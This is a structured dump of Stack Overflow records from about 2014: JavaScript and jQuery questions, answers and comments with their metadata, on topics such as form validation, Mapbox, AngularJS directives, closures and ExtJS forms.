upvote count: 1
tagged with: validation
answer count: 1
has title: jquery form validation for dynamic radio groups
favorite count: 0
has answer: http://stackoverflow.com/a/25736413
accepted answer: http://stackoverflow.com/a/25736413
has body: Essentially, I need to validate a form that is generated dynamically (unlimited number) and consists of pairs of radio groups. I've made a good progress on it, but I am stuck now. The use case: if the user selects the first radio in a pair, a hidden droplist will appear. The user must choose one of the options from that droplist (but not first option as it is a placeholder text) to make that pair valid. Now, my script is accepting the "please select" as a valid option whereas it should not. I have a jsfiddle: http://jsfiddle.net/dhLx7hnc/ Here's my jquery: $(".select-suboption, .see-address").hide(); $('.show').bind('change',function(){ if ($(this).val() == 1) { $(this).siblings('.select-suboption').show(); $(this).siblings('.see-address').hide(); } else if ($(this).val() == 2) { $(this).siblings('.see-address').show(); $(this).siblings('.select-suboption').hide(); } }); $(function () { $('#validate').click(function () { //Make groups var names = [] $('input:radio').each(function () { var rname = $(this).attr('name'); if ($.inArray(rname, names) == -1) names.push(rname); }); $.each(names, function (i, name) { if ($('input[name="' + name + '"]:checked').length == 0) { alert('Please check ' + name); } }); }); }); Help is very appreciated.
type: AnsweredQuestion

http://stackoverflow.com/comment/40356612
score: 0
has text: Yeah, it's worth having a local, properly whitespaced copy of `jslint.js` to step through a debugger sometimes, as that merged & minimized copy he's got online is a real pain. Sometimes Crockford's ideals are best investigated through his code, and I'm happy it's all JavaScript (so anyone using JSLint can debug JSLint, within reason), but wow, you're absolutely right, tough to suss sometimes. ;^) And though I like this rule, the error reported is awfully misleading.
type: AnswerComment
comment on: http://stackoverflow.com/a/25799753
type: Comment

http://stackoverflow.com/comment/40459888
type: Comment
type: QuestionComment
has text: @JuanMendes That looks promising. The issue is that I am posting the JSON object to a URL and it arrives there as `{ "key": { "0": {...} } }` as opposed to `{ "key": [...] }`. Is there a way to change that?
comment on: http://stackoverflow.com/q/25856959
score: 0

http://stackoverflow.com/q/25865017
favorite count: 0
tagged with: static
type: UnansweredQuestion
tagged with: oracle-database
tagged with: file
upvote count: 1
downvote count: 1
type: Question
has title: JavaScript uploaded from static files APEX 4.2.4
tagged with: javascript
score: 0
has answer: http://stackoverflow.com/a/25866175
has body: In which folder from the Oracle server are the JavaScript files stored uploaded from Shared Components - Static Files? I’m using APEX version 4.2.4.
answer count: 1
tagged with: oracle-apex

http://stackoverflow.com/a/25790920
score: 4
has comment: http://stackoverflow.com/comment/40345497
type: Answer
accepted answer of: http://stackoverflow.com/q/25788790
answers question: http://stackoverflow.com/q/25788790
has comment: http://stackoverflow.com/comment/40338063
upvote count: 4
type: AcceptedAnswer
downvote count: 0
has body: You can easily extend your approach for methods with arbitrary arity: function curryMethod(m, a) { if (a !== ~~a) a = m.length; return _.curry(function() { return m.apply(arguments[a], Array.prototype.slice.call(arguments, 0, -1)); }, a+1); } &gt; var replace = curryMethod(String.prototype.replace) &gt; replace("a", "b", "abc") "bbc" &gt; var a2b = replace("a", "b") &gt; a2b("abc") "bbc" Since you also have asked about Ramda, I've only quickly scanned their API but found the R.invoker function which seems to be exactly what you're looking for.

http://stackoverflow.com/comment/40905380
score: 0
type: Comment
type: QuestionComment
has text: Glad you found a solution. Can you post an answer, at least showing some basic code? That way people can quickly see that this isn't still an open ended issue.
comment on: http://stackoverflow.com/q/25817234

http://stackoverflow.com/a/27306287
downvote count: 0
has comment: http://stackoverflow.com/comment/43130858
score: 5
answers question: http://stackoverflow.com/q/25839144
type: AcceptedAnswer
accepted answer of: http://stackoverflow.com/q/25839144
type: Answer
has body: You may save the state of your form and maybe the values of your form. check these two links. https://stackoverflow.com/a/10312156/2655623 https://stackoverflow.com/a/26535253/2655623 You can also get all elements of your form and save it somewhere. When you want to reset your form, you can reset the state of saved values too. These are raw ideas, though.
upvote count: 5

http://stackoverflow.com/comment/40220903
score: 0
comment on: http://stackoverflow.com/a/25726991
type: AnswerComment
has text: Actually it makes it to the new tabs dont become active.
type: Comment

http://stackoverflow.com/a/25854391
upvote count: 1
downvote count: 1
answers question: http://stackoverflow.com/q/25854212
score: 0
type: Answer
has body: This way: var lower = function(a,b){return a.element &gt; b.element ? b : a; }; var higher = function(a,b){return a.element &gt; b.element ? a : b; }; var withIndex = function(element,index){ return {element: element, index: index}; }; var nearest = function(array, limit) { var lowerValues = array.map(withIndex).filter(function(a){ return a.element&lt;limit }); var higherValues = array.map(withIndex).filter(function(a){ return a.element&gt;limit }); return { low: lowerValues.reduce(higher).index, high: higherValues.reduce(lower).index }; }
has comment: http://stackoverflow.com/comment/40454266
has comment: http://stackoverflow.com/comment/40454316

http://stackoverflow.com/comment/40481767
has text: @Amit No, its a statically created one
score: 0
comment on: http://stackoverflow.com/q/25869367
type: Comment
type: QuestionComment

http://stackoverflow.com/q/25810368
possible better answer: http://stackoverflow.com/a/25811079
tagged with: javascript
has title: Mapbox markers from geoJSON not appearing in IE9
score: 0
answer count: 2
has answer: http://stackoverflow.com/a/25811079
has answer: http://stackoverflow.com/a/25815067
accepted answer: http://stackoverflow.com/a/25815067
tagged with: mapbox
has comment: http://stackoverflow.com/comment/40374305
has body: I have a map that is loading markers from a local geoJSON file. This works fine in all browsers I have tested (FF, Chrome, Safari, Opera, IE10, IE11) but not in IE9. I added a marker to the map without geoJSON (the yellow bus marker) which does show up fine in IE9. Here is the relevant code: // set up mapbox var map = new L.mapbox.map('map', '########', { tileLayer: { detectRetina: true, minZoom: 2 }, zoomControl: false }); // marker without geoJSON L.marker([-37.9, -77], { icon: L.mapbox.marker.icon({ 'marker-size': 'large', 'marker-symbol': 'bus', 'marker-color': '#fa0' }) }).addTo(map); // markers with geoJSON var geoJsonData = L.mapbox.featureLayer().loadURL('http://nomacorc.cuberishosting.com/wp-content/themes/nomacorc/map-lib/sellers-locations.php').addTo(map); You can see a working example at: http://nomacorc.cuberishosting.com/purchase-test/. Here is a link to the geoJSON file: http://nomacorc.cuberishosting.com/wp-content/themes/nomacorc/map-lib/sellers-locations.php The geoJSON itself appeared to validate for me at http://geojsonlint.com/
type: AnsweredQuestion
tagged with: internet-explorer
tagged with: internet-explorer-9
tagged with: geojson
type: Question

http://stackoverflow.com/a/25815151
upvote count: 1
has body: Firstly you shouldn't declare your variable inside the function as it'll only be accessible inside that function and since it's an anonymous function, it'll be destroyed each time the function is done running. var lastActiveTool; on(dom.byId("div-tools-draw"), "click", function (evt) { if(typeof lastActiveTool !== 'undefined'){ //Do what you need to do with the last id. Add an else if you want something special to happen when the first element is clicked and there is no previous id. } lastActiveTool = evt.target.id; }
type: Answer
downvote count: 0
score: 1
answers question: http://stackoverflow.com/q/25815003

http://stackoverflow.com/comment/40391466
type: QuestionComment
comment on: http://stackoverflow.com/q/25819583
has text: what is happening in `poll_vote`
score: 0
type: Comment

http://stackoverflow.com/comment/40373266
has text: You've described expected behavior - timer resolution in Windows is generally 15ms. Please clarify what advice you are looking for.
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/25810225
score: 1

http://stackoverflow.com/q/25793667
favorite count: 0
tagged with: angularjs
has answer: http://stackoverflow.com/a/25793698
type: AnsweredQuestion
has title: ngShow/ngHide using a function
upvote count: 1
downvote count: 1
type: Question
accepted answer: http://stackoverflow.com/a/25793698
has body: I have a button that I want to hide when the array $scope.game.players.players contains specific value. button(ng-click="", ng-hide="ImPlaying()") Play The function ImPlaying() checks the condition and return a boolean $scope.ImPlaying = function(){ $scope.game.players.playerExist($scope.user.socketID, function(exist){ console.log(exist); return exist; }); } exist change value but the button is always shown But when I replace the function $scope.game.players.playerExist() by its code everything works as expected. $scope.ImPlaying = function(){ for (var i = 0; i &lt; $scope.game.players.players.length; i++) { if($scope.game.players.players[i]){ if($scope.game.players.players[i].socketID == $scope.user.socketID){ return true; } } }; return false; } What's wrong with the first function ?
score: 0
answer count: 1
tagged with: javascript

http://stackoverflow.com/comment/40451494
score: 0
type: QuestionComment
comment on: http://stackoverflow.com/q/25834644
type: Comment
has text: The only thing that jumps out at me is your ` ` needs a `position: 'absolute'`. Other than that you'll need to create a reproducable example. There's just too much missing code and data above to even guess. I attempted to reproduce here (http://plnkr.co/edit/jKHv1gQ1n7sLB6wPaz1c?p=preview) but there's just not enough information in your question.

http://stackoverflow.com/q/25754102
linked to: http://stackoverflow.com/q/1395151
has comment: http://stackoverflow.com/comment/40273191
has comment: http://stackoverflow.com/comment/40271964
has body: I am trying to download files from some website say 'website.com'. I have all the unique ids in an array. This is the code that I have written: for(var i=0;i&lt;ids.length;i++) { var timeInterval = 1000; (function(i,timeInterval){ setTimeout(function(){ var link = document.createElement('a'); link.href= "http://website.com/download/"+ids[i]; var e = document.createEvent('MouseEvents'); e.initEvent('click', true, true); link.dispatchEvent(e); console.log(ids[i]); console.log(timeInterval); }, timeInterval); timeInterval = (i+1)*1000; })(i,timeInterval); } Problem with this is that it downloads the file corresponding to the last element of the array ids, not all of them. How can I make the loop work for each and every element in ids? PS: I have tried out various solutions given in different related questions, but none could bring desired results, so I had to post it as a different question.
has comment: http://stackoverflow.com/comment/40272090
type: Question
tagged with: closures
tagged with: javascript
has title: JavaScript For Loop executes for last value of iterator only
score: 0
tagged with: arrays
answer count: 1
has answer: http://stackoverflow.com/a/25754153
type: UnansweredQuestion

http://stackoverflow.com/comment/40233740
score: 0
type: Comment
type: QuestionComment
has text: I'm actually not set on doing it in any particular way. I'm open to any suggestion. Just seems to me that keeping extra attributes for this might be redundant and there may be some better way to do it. I'm looking for a 'best practice' way. I'm also not sure why I can't find anything about this on the web. I can't be the first one to do this. :/
comment on: http://stackoverflow.com/q/25730263

http://stackoverflow.com/q/25777705
type: AnsweredQuestion
score: 2
tagged with: ws-federation
has body: I'm just hoping someone can point me in the right direction. We have Thinktecture.IdentityServer.v2 running and working beutifully with out ASP.Net apps. I'm now working on an app with node.js. No Microsoft code at all. Can someone give me some links to get me started? Is there any tutorials out there that I haven't been able to find? I found https://www.npmjs.org/package/node-wsfed but i'm not sure if it does what I need. (or more to the point how to get it to do what I need)
has title: How to implement WS-Federation using Thinktecture.IdentityServer.v2 with Node.js?
type: Question
accepted answer: http://stackoverflow.com/a/26030831
tagged with: javascript
answer count: 1
downvote count: 0
tagged with: thinktecture-ident-server
favorite count: 0
upvote count: 2
has answer: http://stackoverflow.com/a/26030831
tagged with: node.js

http://stackoverflow.com/q/25869559
has answer: http://stackoverflow.com/a/25869739
has answer: http://stackoverflow.com/a/25869626
tagged with: angularjs
has title: Angular JS - Check a single value with a filter
possible better answer: http://stackoverflow.com/a/25869739
has body: My angularJS application displays the items of an object. If a single item has a certain ID I want to display a message. At the moment it does not work, what is wrong? js fiddle HTML Item with id:#{{item.id}} -> This id is special NG var app = angular.module('m', []); app.controller('myCtrl', function ($scope) { $scope.values = [{ id: 1 }, { id: 2 ..... }]; $scope.filter = [4,5,6]; $scope.filterIds = function (ids) { return function (item) { var filter = $scope.filter; return filter.indexOf(item.id) !== -1; } } $scope.special = function (id) { return function (id) { var filter = $scope.filter; return filter.indexOf(id) !== -1; } } });
type: AnsweredQuestion
accepted answer: http://stackoverflow.com/a/25869679
type: Question
tagged with: javascript
score: 0
answer count: 3
has answer: http://stackoverflow.com/a/25869679

http://stackoverflow.com/comment/40263342
comment on: http://stackoverflow.com/a/25749516
score: 0
type: Comment
has text: Yes but isn't there a special protocole ? a "universal" url ? Or a way to trigger a "route" event with Javascript ?
type: AnswerComment

http://stackoverflow.com/comment/40203791
type: QuestionComment
has text: There's nothing wrong with the animation. The border-widht just gets bigger than outer-radius, hence inner-radius will be zero. If you'd [increase the border-radius](http://jsfiddle.net/rj1ymfk6/) to 40, the inner-radius is shown, and will be zero only when border-widht is 40.
score: 1
comment on: http://stackoverflow.com/q/25717451
type: Comment

http://stackoverflow.com/comment/40381553
score: 0
type: AnswerComment
has text: @Shibi, i've updated the answer. The big problem with not converting and making sure they are ints can really be seen when using addition. It will concat your numbers instead of adding them but I still like to validate I am dealing with a number before performing math on a user input. you might also find this plugin helpful, i do. http://www.decorplanit.com/plugin/
comment on: http://stackoverflow.com/a/25814215
type: Comment

http://stackoverflow.com/comment/40426199
comment on: http://stackoverflow.com/q/25838748
type: Comment
type: QuestionComment
has text: well your first loop condition should be `board.length` instead of `board[i].length`
score: 5

http://stackoverflow.com/q/25826327
tagged with: coffeescript
type: Question
answer count: 1
downvote count: 0
tagged with: javascript
has answer: http://stackoverflow.com/a/25827896
accepted answer: http://stackoverflow.com/a/25827896
has body: Example code: Error.prepareStackTrace = (_, stack) -&gt; stack test = -&gt; err = new Error() console.log err.stack[1].getFileName(), ":", err.stack[1].getLineNumber() test() This prints path\to\file.coffee : 14, where 14 apparently references the generated JS file. Is there any way to fix this? I would be happy to either have a CS line number and a path to the CS file or the same for JS.
has comment: http://stackoverflow.com/comment/40403676
favorite count: 0
upvote count: 2
has comment: http://stackoverflow.com/comment/40405949
has title: In Coffeescript stack traces have inconsistent file names and line numbers
type: AnsweredQuestion
score: 2

http://stackoverflow.com/q/25763800
upvote count: 1
downvote count: 1
type: Question
has answer: http://stackoverflow.com/a/25763904
tagged with: javascript
score: 0
has answer: http://stackoverflow.com/a/77148326
has comment: http://stackoverflow.com/comment/40291268
has body: I got a problem with checking checkboxes by clicking a separate button. For example I want to check the Mercedes SLK checkbox by clicking the button unterneath. How can I implement that? Thanks in advance for your feedbacks. Example code: Volvo XC90 BMW 325i Mercedes SLK Check Mercedes SLK
tagged with: jquery
has title: check checkbox by clicking button
has comment: http://stackoverflow.com/comment/40290554
favorite count: 0
answer count: 5
type: UnansweredQuestion
tagged with: http://stackoverflow.com/tag/html
has answer: http://stackoverflow.com/a/25764524
tagged with: checkbox
has answer: http://stackoverflow.com/a/25763885
has answer: http://stackoverflow.com/a/25763883
has comment: http://stackoverflow.com/comment/40288668
has comment: http://stackoverflow.com/comment/40288585

http://stackoverflow.com/a/25772411
has comment: http://stackoverflow.com/comment/40304635
has comment: http://stackoverflow.com/comment/40304602
score: 2
has comment: http://stackoverflow.com/comment/40304877
has comment: http://stackoverflow.com/comment/40304674
has comment: http://stackoverflow.com/comment/40304827
answers question: http://stackoverflow.com/q/25772393
has comment: http://stackoverflow.com/comment/40304829
type: AcceptedAnswer
accepted answer of: http://stackoverflow.com/q/25772393
has body: Wrap your code inside ready handler: $(document).ready(function(){ // your code here }); OR, $(function(){ //your code here }); OR, move your script file before the closing of body: Click Me!
has comment: http://stackoverflow.com/comment/40305265
upvote count: 3
has comment: http://stackoverflow.com/comment/40304934
type: Answer
downvote count: 1

http://stackoverflow.com/q/25866212
favorite count: 0
tagged with: angularjs
has body: I've been looking for a good angular directive to handle all our requirements: Bind to very large data structure (approx 4MB of json) Display checkboxes for each node Provide events when nodes are selected. In the end I've been working on writing my own one. Writing a directive to generate the tree wasn't too difficult with a little help from Stackoverflow, however when it is bound to a large data source it is very slow because it compiles and builds the entire tree. I was wondering if someone could help me so that the subtrees are compiled / rendered on expansion rather that all at the start. I've also been struggling to hook up the click event so that it fires on selection of a node. I've created a fiddle here to demonstrate the problems. I've kept the data small so it loads quickly but I can create a large data set if needed. Here's the current code for the directive app.directive('simpleTree', function() { var directive = { template: ' ' + ' No items to display ', replace: true, transclude: true, scope: { 'tree': '=ngModel', 'clickEventHandler': '&nodeClick' }, restrict: 'AE', link: function($scope, element, attrs) { } }; return directive; }); app.directive('simpleTreeRoot', function() { var directive = { template: ' ', replace: true, transclude: true, scope: { 'tree': '=ngModel', 'searchText': '=', 'clickEventHandler': '&nodeClick' }, restrict: 'AE' }; return directive; }); app.directive('choice', function($compile) { return { restrict: 'AE', transclude: true, template: ' 0" ng-click="choice.expanded = !choice.expanded" >' + ' {{choice.text}} ', link: function(scope, elm, attrs) { //Add children by $compiling and doing a new choice directive if (scope.choice.items && (scope.choice.items.length > 0)) { var childChoice = $compile(' ')(scope); elm.append(childChoice); } } }; }); If someone knows about an existing directive that does all this I'd be happy to use it or if there's not and people are interested I can speak to people here to see if we can open source f…
type: UnansweredQuestion
score: 1
upvote count: 1
type: Question
tagged with: angularjs-directive
has answer: http://stackoverflow.com/a/25866578
tagged with: javascript
has title: JIT compile for AngularJS Tree directive and click events
downvote count: 0
answer count: 1

http://stackoverflow.com/comment/40410806
type: QuestionComment
has text: Thanks for answer! Can you recommend js framework to work with Websockets if it possible more friendly with angularJs
score: 0
comment on: http://stackoverflow.com/q/25830457
type: Comment

http://stackoverflow.com/comment/40331838
type: AnswerComment
has text: did you remove all the "not usefull" pieces before trying to convert it? The Data URI format is `data:[<MIME-type>][;charset=<encoding>][;base64], ` (from Wikipedia), the only piece which you should send to the function is the ` `
score: 0
type: Comment
comment on: http://stackoverflow.com/a/25787509

http://stackoverflow.com/a/25751309
answers question: http://stackoverflow.com/q/25751095
has comment: http://stackoverflow.com/comment/40266357
has body: Oh my, there are a couple of very bad things in your fiddle, starting with this: function sleep(milliseconds) { var start = new Date().getTime(); for (var i = 0; i &lt; 1e7; i++) { if ((new Date().getTime() - start) &gt; milliseconds){ break; } } } Please, just... don't. Here's a better version: http://jsfiddle.net/u6nLj532/ As for your question, I suppose you want to do this: $("#fade, #morph-spinner") .width($("#name-container").outerWidth()) .css("left", $("#name-container").offset().left); The thing is, you're trying to reinvent the wheel, as there is a jQuery plugin that does just that. See the demos here: http://malsup.com/jquery/block/#element Here's a version with the plugin, you only need to style it: http://jsfiddle.net/u6nLj532/2/
has comment: http://stackoverflow.com/comment/40266834
type: Answer
has comment: http://stackoverflow.com/comment/40267168
score: 0
has comment: http://stackoverflow.com/comment/40266713
has comment: http://stackoverflow.com/comment/40267472
has comment: http://stackoverflow.com/comment/40266306

http://stackoverflow.com/q/25751279
type: Question
tagged with: cfml
has comment: http://stackoverflow.com/comment/40277676
answer count: 1
has comment: http://stackoverflow.com/comment/40293897
score: 0
has title: Javascript Uncaught TypeError - can't find line in error
has comment: http://stackoverflow.com/comment/40277423
tagged with: javascript
type: UnansweredQuestion
tagged with: jquery
has comment: http://stackoverflow.com/comment/40266313
has body: I inherited this project. I added the last 12 lines of code. The error doesn't have anything to do with what I added but it stops dev tools from stopping on a break point. The alert in my code works and gives me the correct data. But, I'm not getting the "checked" status on the checkbox I think I'm pointing at. Hard to debug. I'm getting "Uncaught TypeError: undefined is not a function". It appears right below a script> line. So it doesn't appear to be my code, but I can't find the problem. How can I debug this problem? &lt;script type="text/javascript"&gt; colortab = function(tabName, color){ var tabs = ColdFusion.Layout.getTabLayout('mainTab'); var tab = tabs.getTab(tabName); tab.el.dom.firstChild.firstChild.firstChild.style.color = color; } init = function(){ colortab('tab10', 'red'); } &lt;/script&gt; &lt;script type="text/javascript"&gt; THIS IS WHERE THE ERROR SHOWS UP IN DEV TOOLS Uncaught TypeError: undefined is not a function $(document).ready(function() { //GetCityState = function(z){ //alert(z.value); //$.ajax({ //type: 'Post', //url: 'http://www.zip-info.com/cgi-local/zipsrch.exe', //data: 'zip=' + z.value + '&amp;Go=Go', //success: function (response, textStatus, jqXHR) { //alert('Response ' + response); //}, //error: function(xhr, textStatus, errorThrown) { // show error //alert('error ' + errorThrown); //} //}); //} $('#adminperson').click(function(){ ColdFusion.Window.show('AdminPersonWindow'); }); }); function SubmitAdminPersons() { console.log("adminform " , $("#AdminPersonForm").serialize()); var AdminStr = $("#AdminPersonForm").serialize(); $.ajax({ type: 'Post', url: 'cfc/updates.cfc?method=UpdateAdminPerson', data: AdminStr, success: function (response, textStatus, jqXHR) { //alert('Response ' + response); }, error: function(xhr, textStatus, errorThrown) { // show error alert('error ' + errorThrown); } }); ColdFusion.Window.hide('AdminPersonWindow'); alert('You have to refresh this page to see the new info.'); } jQuery(document).ready(function(…
has answer: http://stackoverflow.com/a/25751437

http://stackoverflow.com/comment/40310076
type: Comment
type: QuestionComment
has text: Can you add the code where you add the new model to the collection?
comment on: http://stackoverflow.com/q/25774670
score: 0

http://stackoverflow.com/q/25846160
type: Question
has body: I'm having an issue with ko.mapping plugin for knockout. I've been thoroughly searching for an answer but couldn't find anything. I'm using knockout in conjunction with boilerplate js, but I think that's not the problem. Here's the JS: define(function(require){ var Boiler = require('Boiler'), komapping = require('knockout_mapping'); ko.mapping = komapping; var mapping = { 'observe': ['disciplina', 'numero', 'paraUsoEn', 'detalleCertificadoCalidad', 'comentariosGenerales'] }; var RequisicionViewModel = function(moduleContext, params, bindingCallback){ /* Propiedades del modelo */ var self = this; this.disciplinas = ko.observableArray(); this.requisicion = ko.mapping.fromJS({}); /* Obtener los valores del WS */ // Obtener las disciplinas moduleContext.requestor.get('/disciplina/').done(function(data){ self.disciplinas(data); }); // Obtener la plantilla de la requisición moduleContext.requestor.get('/requisicion/ZFN-5612').done(function(data){ ko.mapping.fromJS(data, mapping, self.requisicion); self.requisicion.planos = ko.observable("Jola!") // Aplicar el binding bindingCallback(); }); /* Gestión de eventos */ this.onGuardarClicked = function(){ console.log(ko.mapping.toJSON(self.requisicion)); }; }; return RequisicionViewModel; }); As you can see I define only the objects I want to be observable. Here's the HTML {{nls.label_usarse_en}} {{nls.label_planos}} {{nls.certificado_calidad}} It's much longer, but for brevity I'll just paste 2 fields that show the error. Finally when I run it, this is what happens: https://i.sstatic.net/2Vasm.png Here's what I've tried so far: Use () after the variable name so that it evaluates and shows the value inside the observable. This works, but the observable looses it's properties or something like that because it does not get updated again after this. Defining a create function for the mapping. Al ready tried this: var mapping = {'paraUsoEn':{create:function(options){return ko.observable(options.data);}}} And does not work. The valu…
tagged with: javascript
has answer: http://stackoverflow.com/a/25860668
has comment: http://stackoverflow.com/comment/40440421
answer count: 1
tagged with: boilerplatejs
favorite count: 0
has title: ko.mapping shows function in input fields insted of value
accepted answer: http://stackoverflow.com/a/25860668
type: AnsweredQuestion
score: 0
upvote count: 1
tagged with: knockout.js
downvote count: 1

http://stackoverflow.com/comment/40359615
has text: @RoryMcCrossan i have define if condition because when the screen width is 600 then this code will run, but the problem is that it run but output come in 4321 and i need 1324..plz suggest me
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/25802230
score: 0

http://stackoverflow.com/q/25826713
has comment: http://stackoverflow.com/comment/40426871
tagged with: javascript
type: UnansweredQuestion
score: 3
has comment: http://stackoverflow.com/comment/40427252
has comment: http://stackoverflow.com/comment/40429758
downvote count: 0
favorite count: 0
has comment: http://stackoverflow.com/comment/40403962
type: Question
has body: I'm currently working on my Google Chrome extension that requires writing some extensive JavaScript code. This involves navigation/jumping between functions in the JS project. I've been first using Adobe Dreamweaver CS5 to write my JS code. And although it has somewhat OK code hinting, it does not have a way for me to jump between functions. I then tried opening JS files in my Visual Studio 2013. It has an even better code hinting (or Intellisense) but it doesn't have a way to jump between JS functions either. The following is a screenshot from the Visual Studio for a C++ project that will explain what I mean by "jumping beween functions": As you can see it has a nice dropdown menu that lets me jump from function to function. Also the code hinting, or Intellisense would be nice. It's when you type JS code and then, say, hit "." and the popup window gives you an option of the object's possible properties. Something like this (again for a C++ project): So I was curious if there's a JavaScript editor like that? PS. I'm currently working on Windows, but Mac would be fine too.
tagged with: dreamweaver
has comment: http://stackoverflow.com/comment/40404140
has title: JavaScript editor w/easy function navigation and "code hinting"
tagged with: visual-studio
has comment: http://stackoverflow.com/comment/40426839
upvote count: 3
has answer: http://stackoverflow.com/a/25926900
has comment: http://stackoverflow.com/comment/40403992
has comment: http://stackoverflow.com/comment/40429042
answer count: 1

http://stackoverflow.com/comment/69887924
type: AnswerComment
has text: The docx.js version on innovatejs is only allowed to be used if all your visitors are only using Microsoft Windows on PC so if someone enters your site on an Android your in violation of the license. Also, the site is marked as dangerous/infected.
type: Comment
comment on: http://stackoverflow.com/a/25717202
score: 0

http://stackoverflow.com/comment/40461731
has text: You want to trigger this function, without user-interaction as well?
comment on: http://stackoverflow.com/q/25858148
score: 0
type: Comment
type: QuestionComment

http://stackoverflow.com/comment/40523411
score: 1
type: AnswerComment
type: Comment
comment on: http://stackoverflow.com/a/25873443
has text: With all these pieces you can build anything a framework can build. Polymer isn't so much complementing a framework as it's complementing the native DOM Web Components spec. That said, you can use it with a framework like Angular. There really aren't any rules. You can use it to any extent you want.

http://stackoverflow.com/comment/40373382
comment on: http://stackoverflow.com/q/25809111
score: 0
type: QuestionComment
type: Comment
has text: Why exactly are you rolling your own? Because you didn't know something like RequireJS existed, or because you want to learn, or because all the existing solutions somehow are not good enough, ... ? I ask because I attempted to do the same ("to learn") yet I only really learned how to properly setup a modularized application when I started to use existing libraries (RequireJS, to be exact).

http://stackoverflow.com/q/25823965
accepted answer: http://stackoverflow.com/a/25824073
has answer: http://stackoverflow.com/a/25824037
has title: repeated dropdown menu opens first menu only
has comment: http://stackoverflow.com/comment/40398992
tagged with: php
type: AnsweredQuestion
has answer: http://stackoverflow.com/a/25824073
has comment: http://stackoverflow.com/comment/40399013
type: Question
answer count: 2
possible better answer: http://stackoverflow.com/a/25824037
tagged with: javascript
tagged with: drop-down-menu
has body: i use a script which reads members data from database and put it in a table with a row for every member each row has a dropdown list with the same class and ID i used the following codes to open and close dropdown but the problem is that i can only open the first one PHP ` Edit Preview ` script $('#drop3').click(function(e) { $('#fake3').toggleClass("open"); e.preventDefault(); }); this is the dropmenu as appear on page https://i.sstatic.net/KmEV5.jpg
score: 0

http://stackoverflow.com/comment/40346387
type: AnswerComment
comment on: http://stackoverflow.com/a/25778889
score: 0
has text: Hi Fabio - that would be great. I'm grateful for your help as I just can't figure this one out.
type: Comment

http://stackoverflow.com/comment/40276997
score: 0
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/25755215
has text: http://stackoverflow.com/questions/14049480/what-are-the-nuances-of-scope-prototypal-prototypical-inheritance-in-angularjs check this answer :)

gwt
tags question: http://stackoverflow.com/q/25794598
tags question: http://stackoverflow.com/q/25801057
tag name: gwt
tags question: http://stackoverflow.com/q/25764972
tags question: http://stackoverflow.com/q/25777287
type: Tag
tags question: http://stackoverflow.com/q/25791004
tags question: http://stackoverflow.com/q/25733600

http://stackoverflow.com/a/25778519
has body: Modular architecture mimics how our brain works Even for a small project, I would still separate the project into module folders for the simple reason that it makes it easier to find the code you need to work on. That's because us programmers generally work on a per-module basis. For example, for an hour we will work on the footer module which includes both directives and services which will reside in the footer dir. In contrast, it's much less likely that we will decide that for an hour we have to work on various directives in the directives folder and never touch any service. Modular architecture makes it easier to rip code across projects When I start a new project, regardless of the size of that project I usually start by ripping modules out of existing projects. With modular architecture this is extremely easy and intuitive. Of course, if a module is highly reusable you should package it as a bower module instead, but most small modules will end up being customized on a per-project basis.
upvote count: 2
type: Answer
answers question: http://stackoverflow.com/q/25769920
score: 2
downvote count: 0
has comment: http://stackoverflow.com/comment/40330239

http://stackoverflow.com/q/25834147
type: AnsweredQuestion
tagged with: tabs
type: Question
tagged with: twitter-bootstrap
has title: Code Mirror only displays after a user clicks on it when integrated into a Bootstrap tab
answer count: 1
has answer: http://stackoverflow.com/a/25847359
tagged with: codemirror
score: 0
accepted answer: http://stackoverflow.com/a/25847359
tagged with: javascript
has body: I am having an issue with integrating Code Mirror into a Bootstrap tab. The problem is that because the Bootstrap tab is not set to active, code mirror will only display the content if the user clicks on it. I have thoroughly searched a solution for the problem but have not found anything that works (possibly due to my knowledge about JavaScript not being very good). I have tried things like telling codemirror to refresh, but it doesn't solve the problem.

http://stackoverflow.com/q/25871952
tagged with: extjs
tagged with: sencha-touch-2
has answer: http://stackoverflow.com/a/25872374
type: AnsweredQuestion
upvote count: 1
type: Question
score: 1
tagged with: javascript
accepted answer: http://stackoverflow.com/a/25872374
has body: I'm new on Extjs and I'm trying to create a simple Login form with just one field, but I'm not able to get the value of that field. Specifically, I call my Login panel from a Main.js: Ext.define('appTrial.view.Main', { extend: 'Ext.tab.Panel', xtype: 'main', requires: [ 'Ext.TitleBar', 'Ext.Video', 'appTrial.view.Login', ], controllers: [ 'AssociaAttivitaController' ], config: { tabBarPosition: 'bottom', items: [ { title: 'Welcome', iconCls: 'home', styleHtmlContent: true, scrollable: true, items: [{ docked: 'top', xtype: 'titlebar', title: 'Welcome to My New App!!!', },{ xtype: 'container', name: 'mainContainer', layout: { type: 'hbox', align: 'center', pack: 'center' }, items: [{ xtype: 'Login', title:'Login', //call Login here margin: '80 0 0 0' }, ] } ] }, { title: 'Get Started', iconCls: 'action', items: [ { docked: 'top', xtype: 'titlebar', title: 'Getting Started' }, /*{ xtype: 'video', url: 'xxx' }*/ ] }] } }); When I create a Login.js like this, I can see the panel, but it does not get the value: Ext.define('appTrial.view.Login', { extend: 'Ext.form.FormPanel', xtype: 'login', alias: 'widget.Login', config: { title: 'Login', width: 200, height: 200, items: [{ xtype: 'container', name: 'loginContainer', layout: { type: 'vbox', align: 'center', pack: 'center', }, items: [{ layout: { pack: 'center' }, html :'Associa attivita' }, { xtype: 'fieldset', items: [{ xtype: 'textfield', name: 'codAttivita', }] }, { xtype: 'toolbar', layout: { pack: 'center' }, // layout ui: 'plain', items:[{ xtype: 'button', text: 'Associa', ui: 'confirm', action: 'login', },{ xtype: 'button', text: 'Reset', ui: 'decline', handler: function (btn, evt) { var cod = codAttivita.getValue(); //here, the cod is null Ext.Msg.confirm('', 'Are you sure you want to reset this form?', function (btn) { if (btn === 'yes') { form.setValues({ codAttivita: '' }); } }); } }] }], }] }, }); Reading other topics, I understood that I have to assign the form to a variable; I did it, but with the following …
downvote count: 0
answer count: 1
favorite count: 0
has title: Extjs: how to get values of a form

http://stackoverflow.com/q/25817202
tagged with: javascript
score: 0
accepted answer: http://stackoverflow.com/a/25818209
has body: Using Element.update() prototype function: [ ... ] var link_1 = new Element('a').update( '&lt;' ); var link_2 = new Element('a').update( '&lt;&lt;' ); [ ... ] Only in IE i'm getting: 'link_1' is not defined How can i write the string "&lt;" into a prototype element?
type: AnsweredQuestion
type: Question
has title: Prototype Element.update() function not working in IE
tagged with: prototypejs
tagged with: internet-explorer
